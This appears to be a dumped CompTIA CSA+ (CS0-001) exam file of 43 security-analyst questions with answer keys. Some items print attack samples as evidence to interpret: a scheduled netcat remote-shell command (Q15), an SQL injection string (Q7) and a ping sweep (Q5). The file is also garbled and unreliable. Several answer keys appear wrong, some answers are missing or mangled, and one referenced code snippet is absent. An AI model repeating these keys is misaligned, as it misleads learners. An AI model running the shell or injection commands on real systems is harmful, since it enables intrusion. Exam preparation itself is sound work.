CS0-001.exam

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CS0-001

CompTIA CSA+ Certification Exam

Version 1.0

Exam A

QUESTION 1

An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meet the compatibility requirement? (Select three.)

- A. 3DES
- B. AES
- C. IDEA
- D. PKCS
- E. PGP
- F. SSL/TLS
- G. TEMPEST

Correct Answer: BDF Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 2

After completing a vulnerability scan, the following output was noted:

```
CVE-2011-3389
QID 42366 - SSLv3.0 / TLSv1.0 Protocol weak CBC mode Server side vulnerability
Check with:
openssl s client -connect qualys.jive.mobile.com:443 - tlsl -cipher "AES:CAMELLIA:SEED:3DES:DES"
```

Which of the following vulnerabilities has been identified?



- A. PKI transfer vulnerability.
- B. Active Directory encryption vulnerability.

- C. Web application cryptography vulnerability.
- D. VPN tunnel vulnerability.

Explanation/Reference:

Explanation:

QUESTION 3

A security analyst is adding input to the incident response communication plan. A company officer has suggested that if a data breach occurs, only affected parties should be notified to keep an incident from becoming a media headline. Which of the following should the analyst recommend to the company officer?

- A. The first responder should contact law enforcement upon confirmation of a security incident in order for a forensics team to preserve chain of custody.
- B. Guidance from laws and regulations should be considered when deciding who must be notified in order to avoid fines and judgements from non-compliance.
- C. An externally hosted website should be prepared in advance to ensure that when an incident occurs victims have timely access to notifications from a non-compromised recourse.
- D. The HR department should have information security personnel who are involved in the investigation of the incident sign non-disclosure agreements so the company cannot be held liable for customer data that might be viewed during an investigation.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 4

A company has recently launched a new billing invoice website for a few key vendors. The cybersecurity analyst is receiving calls that the website is performing slowly and the pages sometimes time out. The analyst notices the website is receiving millions of requests, causing the service to become unavailable. Which of the following can be implemented to maintain the availability of the website?

- A. VPN
- B. Honeypot
- C. Whitelisting
- D. DMZ
- E. MAC filtering

Explanation/Reference:

Explanation:

QUESTION 5

A cybersecurity analyst has received the laptop of a user who recently left the company. The analyst types 'history' into the prompt, and sees this line of code in the latest bash history:

```
> for i in seg 255; ping -c 1 192.168.0.$i; done
```

This concerns the analyst because this subnet should not be known to users within the company. Which of the following describes what this code has done on the network?

- A. Performed a ping sweep of the Class C network.
- B. Performed a half open SYB scan on the network.
- C. Sent 255 ping packets to each host on the network.
- D. Sequentially sent an ICMP echo reply to the Class C network.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 6

A security audit revealed that port 389 has been used instead of 636 when connecting to LDAP for the authentication of users. The remediation recommended by the audit was to switch the port to 636 wherever technically possible. Which of the following is the BEST response?

- A. Correct the audit. This finding is a well-known false positive; the services that typically run on 389 and 636 are identical.
- B. Change all devices and servers that support it to 636, as encrypted services run by default on 636.
- C. Change all devices and servers that support it to 636, as 389 is a reserved port that requires root access and can expose the server to privilege escalation attacks.
- D. Correct the audit. This finding is accurate, but the correct remediation is to update encryption keys on each of the servers to match port 636.

Correct Answer: B Section: (none)

Explanation

Explanation/Reference:

Explanation:

QUESTION 7

A security analyst is reviewing IDS logs and notices the following entry:

```
(where email=john@john.com and password=' or 20==20')
```

Which of the following attacks is occurring?

- A. Cross-site scripting
- B. Header manipulation
- C. SQL injection
- D. XML injection

Correct Answer: C Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 8

A company that is hiring a penetration tester wants to exclude social engineering from the list of authorized activities. Which of the following documents should include these details?



- A. Acceptable use policy
- B. Service level agreement
- C. Rules of engagement
- D. Memorandum of understanding
- E. Master service agreement

Correct Answer: E	3
Section: (none)	
Explanation	

Explanation/Reference:

Explanation:

QUESTION 9

A reverse engineer was analyzing malware found on a retailer's network and found code extracting track data in memory. Which of the following threats did the engineer MOST likely uncover?

- A. POS malware
- B. Rootkit
- C. Key logger
- D. Ransomware

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 10

Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Select two.)

- A. COBIT
- B. NIST
- C. ISO 27000 series
- D. ITIL
- E. OWASP

Correct Answer: DE Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 11

A system administrator recently deployed and verified the installation of a critical patch issued by the company's primary OS vendor. This patch was supposed to remedy a vulnerability that would allow an adversary to remotely execute code from over the network. However, the administrator just ran a vulnerability assessment of networked systems, and each of them still reported having the same vulnerability. Which of the following if the MOST likely explanation for this?

- A. The administrator entered the wrong IP range for the assessment.
- B. The administrator did not wait long enough after applying the patch to run the assessment.
- C. The patch did not remediate the vulnerability.
- D. The vulnerability assessment returned false positives.

Correct Answer: C Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 12

An incident response report indicates a virus was introduced through a remote host that was connected to corporate resources. A cybersecurity analyst has been asked for a recommendation to solve this issue. Which of the following should be applied?

- A. MAC
- B. TAP
- C. NAC
- D. ACL

Correct Answer: C Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 13

Review the following results:

Source	Destination	Protocol	Length	Info
172.29.0.109	8.8.8.8	DNS	74	Standard query 0x9ada A itsec. eicp.net
8.8.8.8	172.29.0.109	DNS	90	Standard query response 0x9ada A
				itsec.eicp.net A 123.120.110.212
172.29.0.109	123.120.110.212	TCP	78	49294 -8088 [SYN] seq=0 Win=65635 Len=0
				MSS=1460 WS=16 TSval=560397766 Tsecr=0 SACK PERM=1
123.120.110.212	172.29.0.109	TCP	78	8080-49294 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=OMSS=1426
				WS=4 TSval=0 Tsecr=0 SACK PERM=1al=560402112 TSecr=240871
172.29.0.109	172.29.0.255	NBNS	92	Namequery NB WORKGROUP <id></id>
54.240.190.21	172.29.0.109	TCP	60	443 - 49294 [RST] Seq=1 Win=0 Len=0
66.235.133.62	172.29.0.109	TCP	60	80 - 49294 [RST] Seq=1 Win=0 Len=0
123.120.110.212	172.29.0.109	TCP	67	8088-49294 [PSH, ACK] Seq=459 ACK=347 Win 255204 Len=1
				TSval=241898 TSecr=560402112
172.29.0.109	123.120.110.212	TCP	66	49294-8088 [ACK] Seq=347 Ack=460 Win=131056 Len=0
				TSval=560504900 TSecr=241898

Which of the following has occurred?

A. This is normal network traffic.

B. 123.120.110.212 is infected with a Trojan.

C. 172.29.0.109 is infected with a worm.

D. 172.29.0.109 is infected with a Trojan.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 14

A security analyst is creating baseline system images to remediate vulnerabilities found in different operating systems. Each image needs to be scanned before it is deployed. The security analyst must ensure the configurations match industry standard benchmarks and the process can be repeated frequently. Which of the following vulnerability options would BEST create the process requirements?

- A. Utilizing an operating system SCAP plugin
- B. Utilizing an authorized credential scan
- C. Utilizing a non-credential scan
- D. Utilizing a known malware plugin

Correct Answer: A

Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 15

A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs.

Given the following snippet of code:

```
sc config schedule start auto
net start schedule
at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe ""
```

Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

- A. The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network.
- B. The cybersecurity analyst has discovered host 192.168.0.101 to be running thenc.exe file at 13:30 using the auto cron job remotely, there are no recommendations since this is not a threat currently.
- C. The cybersecurity analyst has discovered host 192.168.0.101 is beaconing every day at 13:30 using thenc.exe file; recommend proceeding with the next step of removing the host from the network.
- D. The security analyst has discovered host 192.168.0.101 is a rogue device on the network, recommend proceeding with the next step of removing the host from the network.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 16

An analyst wants to use a command line tool to identify open ports and running services on a host along with the application that is associated with those services and port. Which of the following should the analyst use?

- A. Wireshark
- B. Qualys
- C. netstat
- D. nmap
- E. ping

Explanation/Reference:

Explanation:

QUESTION 17

In order to meet regulatory compliance objectives for the storage of PHI, vulnerability scans must be conducted on a continuous basis. The last completed scan of the network returned 5,682 possible vulnerabilities. The Chief Information Officer (CIO) would like to establish a remediation plan to resolve all known issues. Which of the following is the BEST way to proceed?

- A. Attempt to identify all false positives and exceptions, and then resolve all remaining items.
- B. Hold off on additional scanning until the current list of vulnerabilities have been resolved.
- C. Place assets that handle PHI in a sandbox environment, and then resolve all vulnerabilities.
- D. Reduce the scan to items identified as critical in the asset inventory, and resolve these issues first.

Correct Answer: D Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 18

An administrator has been investigating the way in which an actor had been exfiltrating confidential data from a web server to a foreign host. After a thorough forensic review, the administrator determined the server's BIOS had been modified by rootkit installation. After removing the rootkit and flashing the BIOS to a known good state, which of the following would BEST protect against future adversary access to the BIOS, in case another rootkit is installed?

- A. Anti-malware application
- B. Host-based IDS
- C. TPM data sealing

D. File integrity monitoring

Correct Answer: C Section: (none) Explanation

Explanation/Reference:

QUESTION 19

A security analyst is reviewing the following log after enabling key-based authentication.

```
Dec 21 11:00:57 comptia sshd[5657]: Failed password for root from 95.58.255.62 port 38980 ssh2
Dec 21 20:08:26 comptia sshd[5768]: Failed password for root from 91.205.189.15 port 38156 ssh2
Dec 21 20:08:30 comptia sshd[5770]: Failed password for nobody from 91.205.189.15 port 38556 ssh2
Dec 21 20:08:34 comptia sshd[5772]: Failed password for invalid user asterisk from 91.205.189.15 port 38864 ssh2
Dec 21 20:08:38 comptia sshd[5774]: Failed password for invalid user sjobeck from 91.205.189.15 port 39157 ssh2
Dec 21 20:08:42 comptia sshd[5776]: Failed password for root from 91.205.189.15 port 39467 ssh2
```

Given the above information, which of the following steps should be performed NEXT to secure the system?

- A. Disable anonymous SSH logins.
- B. Disable password authentication for SSH.
- C. Disable SSHv1.
- D. Disable remote root SSH logins.

Correct Answer: B Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 20

A cybersecurity analyst has received a report that multiple systems are experiencing slowness as a result of a DDoS attack. Which of the following would be the BEST action for the cybersecurity analyst to perform?

A. Continue monitoring critical systems.

- B. Shut down all server interfaces.
- C. Inform management of the incident.
- D. Inform users regarding the affected systems.

Explanation/Reference:

Explanation:

QUESTION 21

A security analyst has been asked to remediate a server vulnerability. Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

- A. Start the change control process.
- B. Rescan to ensure the vulnerability still exists.
- C. Implement continuous monitoring.
- D. Begin the incident response process.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 22

A software assurance lab is performing a dynamic assessment on an application by automatically generating and inputting different, random data sets to attempt to cause an error/failure condition. Which of the following software assessment capabilities is the lab performing AND during which phase of the SDLC should this occur? (Select two.)

- A. Fuzzing
- B. Behavior modeling
- C. Static code analysis
- D. Prototyping phase
- E. Requirements phase
- F. Planning phase

Explanation/Reference:

Explanation:

Reference: http://www.brighthub.com/computing/smb-security/articles/9956.aspx

QUESTION 23

Law enforcement has contacted a corporation's legal counsel because correlated data from a breach shows the organization as the common denominator from all indicators of compromise. An employee overhears the conversation between legal counsel and law enforcement, and then posts a comment about it on social media. The media then starts contacting other employees about the breach. Which of the following steps should be taken to prevent further disclosure of information about the breach?

- A. Security awareness about incident communication channels
- B. Request all employees verbally commit to an NDA about the breach
- C. Temporarily disable employee access to social media
- D. Law enforcement meeting with employees

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

QUESTION 24

A recent vulnerability scan found four vulnerabilities on an organization's public Internet-facing IP addresses. Prioritizing in order to reduce the risk of a breach to the organization, which of the following should be remediated FIRST?



- A. A cipher that is known to be cryptographically weak.
- B. A website using a self-signed SSL certificate.
- C. A buffer overflow that allows remote code execution.
- D. An HTTP response that reveals an internal IP address.

Explanation/Reference:

Explanation:

QUESTION 25

A security professional is analyzing the results of a network utilization report. The report includes the following information:

IP Address	Server Name	Server Uptime	Historical	Current
172.20.2.58	web.srvr.03	30D 12H 52M 09S	41.3GB	37.2GB
172.20.1.215	dev.web.srvr.01	30D 12H 52M 09S	1.81GB	2,2GB
172.20.1.22	hr.dbprod.01	30D 12H 17M 22S	2.24GB	29.97GB
172.20.1.26	mrktg.file.srvr.02	30D 12H 41M 09S	1.23GB	0.34GB
172.20.1.28	accnt.file.srvr.01	30D 12H 52M 09S	3.62GB	3.57GB
172.20.1.30	R&D.file.srvr.01	1D 4H 22M 01S	1.24GB	0.764GB

Which of the following servers needs further investigation?

A. hr.dbprod.01

B. R&D.file.srvr.01

C. mrktg.file.srvr.02

D. web.srvr.03

Correct Answer: B Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 26

A cybersecurity analyst has several SIEM event logs to review for possible APT activity. The analyst was given several items that include lists of indicators for both IP addresses and domains. Which of the following actions is the BEST approach for the analyst to perform?

- A. Use the IP addresses to search through the event logs.
- B. Analyze the trends of the events while manually reviewing to see if any of the indicators match.
- C. Create an advanced query that includes all of the indicators, and review any of the matches.
- D. Scan for vulnerabilities with exploits known to have been used by an APT.

Explanation/Reference:

Explanation:

QUESTION 27

A system administrator has reviewed the following output:

```
#nmap server.local
Nmap scan report for server.local (10.10.2.5)
Host is up (0.3452354s latency)
Not shown:997 closed ports

PORT STATE Service
22/tcp open ssh
80/tcp open http

#nc server.local 80
220 server.local Company SMTP server (Postfix/2.3.3)
#nc server.local 22
SSH-2.0-OpenSSH_7.lp2 Debian-2
#
```

Which of the following can a system administrator infer from the above output?

- A. The company email server is running a non-standard port.
- B. The company email server has been compromised.
- C. The company is running a vulnerable SSH server.
- D. The company web server has been compromised.

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 28

A cybersecurity analyst has received an alert that well-known "call home" messages are continuously observed by network sensors at the network boundary. The proxy firewall successfully drops the messages. After determining the alert was a true positive, which of the following represents the MOST likely cause?

- A. Attackers are running reconnaissance on company resources.
- B. Commands are attempting to reach a system infected with a botnet trojan.
- C. An insider is trying to exfiltrate information to a remote network.
- D. Malware is running on a company system.

Explanation/Reference:

Explanation:

QUESTION 29

Which of the following items represents a document that includes detailed information on when an incident was detected, how impactful the incident was, and how it was remediated, in addition to incident response effectiveness and any identified gaps needing improvement?

- A. Forensic analysis report
- B. Chain of custody report
- C. Trends analysis report
- D. Lessons learned report

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 30

After scanning the main company's website with the OWASP ZAP tool, a cybersecurity analyst is reviewing the following warning:

The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT containing password type input. Passwords may be stored in browsers and retrieved.

The analyst reviews a snippet of the offending code:

Which of the following is the BEST course of action based on the above warning and code snippet?

- A. The analyst should implement a scanner exception for the false positive.
- B. The system administrator should disable SSL and implement TLS.
- C. The developer should review the code and implement a code fix.
- D. The organization should update the browser GPO to resolve the issue.

Correct Answer: D Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 31

An alert has been distributed throughout the information security community regarding a critical Apache vulnerability. Which of the following courses of action would ONLY identify the known vulnerability?

- A. Perform an unauthenticated vulnerability scan on all servers in the environment.
- B. Perform a scan for the specific vulnerability on all web servers.
- C. Perform a web vulnerability scan on all servers in the environment.
- D. Perform an authenticated scan on all web servers in the environment.

Correct Answer: B Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 32

Which of the following commands would a security analyst use to make a copy of an image for forensics use?
A. dd B. wget C. touch D. rm
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 33 As part of an upcoming engagement for a client, an analyst is configuring a penetration testing application to ensure the scan complies with information defined in the SOW. Which of the following types of information should be considered based on information traditionally found in the SOW? (Select two.) A. Timing of the scan B. Contents of the executive summary report C. Excluded hosts D. Maintenance windows E. IPS configuration F. Incident response policies Correct Answer: AC
Section: (none) Explanation
Explanation/Reference: Explanation:
QUESTION 34 An HR employee began having issues with a device becoming unresponsive after attempting to open an email attachment. When informed, the security analyst became suspicious of the situation, even though there was not any unusual behavior on the IDS or any alerts from the antivirus software. Which of the following BEST describes the type of threat in this situation?



- A. Packet of death
- B. Zero-day malware
- C. PII exfiltration
- D. Known virus

Explanation/Reference:

Explanation:

QUESTION 35

An organization wants to remediate vulnerabilities associated with its web servers. An initial vulnerability scan has been performed, and analysts are reviewing the results. Before starting any remediation, the analysts want to remove false positives to avoid spending time on issues that are not actual vulnerabilities. Which of the following would be an indicator of a likely false positive?

- A. Reports show the scanner compliance plug-in is out-of-date.
- B. Any items labeled 'low' are considered informational only.
- C. The scan result version is different from the automated asset inventory.
- D. 'HTTPS' entries indicate the web page is encrypted securely.

Correct Answer: B Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 36

Company A permits visiting business partners from Company B to utilize Ethernet ports available in Company A's conference rooms. This access is provided to allow partners the ability to establish VPNs back to Company B's network. The security architect for Company A wants to ensure partners from Company B are able to gain direct Internet access from available ports only, while Company A employees can gain access to the Company A internal network from those same ports.

Which of the following can be employed to allow this?

- A. ACL
- B. SIEM
- C. MAC
- D. NAC
- E. SAML

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

QUESTION 37

After reviewing the following packet, a cybersecurity analyst has discovered an unauthorized service is running on a company's computer.

```
16:26:42.943463 IP 192.168.1.10:25 > 10.38.219.20:3389 Flags [P.], seq 1768:1901, ackl, win 511, options [nop,nop,TS val 271989777 ecr 475239494], length 133
```

Which of the following ACLs, if implemented, will prevent further access ONLY to the unauthorized service and will not impact other services?

- A. DENY TCP ANY HOST 10.38.219.20 EQ 3389
- B. DENY IP HOST 10.38.219.20 ANY EQ 25
- C. DENY IP HOST192.168.1.10 HOST 10.38.219.20 EQ 3389
- D. DENY TCP ANY HOST 192.168.1.10 EQ 25

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 38

The new Chief Technology Officer (CTO) is seeking recommendations for network monitoring services for the local intranet. The CTO would like the capability to monitor all traffic to and from the gateway, as well as the capability to block certain content. Which of the following recommendations would meet the needs of the organization?

- A. Recommend setup of IP filtering on both the internal and external interfaces of the gateway router.
- B. Recommend installation of an IDS on the internal interface and a firewall on the external interface of the gateway router.
- C. Recommend installation of a firewall on the internal interface and a NIDS on the external interface of the gateway router.
- D. Recommend installation of an IPS on both the internal and external interfaces of the gateway router.

Explanation/Reference:

Explanation:

QUESTION 39

While a threat intelligence analyst was researching an indicator of compromise on a search engine, the web proxy generated an alert regarding the same indicator. The threat intelligence analyst states that related sites were not visited but were searched for in a search engine. Which of the following MOST likely happened in this situation?

- A. The analyst is not using the standard approved browser.
- B. The analyst accidently clicked a link related to the indicator.
- C. The analyst has prefetch enabled on the browser in use.
- D. The alert in unrelated to the analyst's search.

Correct Answer: C Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 40

Which of the following remediation strategies are MOST effective in reducing the risk of a network-based compromise of embedded ICS? (Select two.)

- A. Patching
- B. NIDS
- C. Segmentation
- D. Disabling unused services
- E. Firewalling

Correct Answer: CD

Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 41

An analyst is observing unusual network traffic from a workstation. The workstation is communicating with a known malicious site over an encrypted tunnel. A full antivirus scan with an updated antivirus signature file does not show any sign of infection. Which of the following has occurred on the workstation?

- A. Zero-day attack
- B. Known malware attack
- C. Session hijack
- D. Cookie stealing

Correct Answer: A Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 42

A university wants to increase the security posture of its network by implementing vulnerability scans of both centrally managed and student/employee laptops. The solution should be able to scale, provide minimum false positives and high accuracy of results, and be centrally managed through an enterprise console. Which of the following scanning topologies is BEST suited for this environment?

- A. A passive scanning engine located at the core of the network infrastructure
- B. A combination of cloud-based and server-based scanning engines
- C. A combination of server-based and agent-based scanning engines
- D. An active scanning engine installed on the enterprise console

Correct Answer: D Section: (none) Explanation

Explanation/Reference:

Explanation:

QUESTION 43

A cybersecurity analyst is completing an organization's vulnerability report and wants it to reflect assets accurately. Which of the following items should be in the report?

- A. Processor utilization
- B. Virtual hosts
- C. Organizational governance
- D. Log disposition
- E. Asset isolation

Correct Answer: B Section: (none) Explanation

Explanation/Reference:

Explanation:.

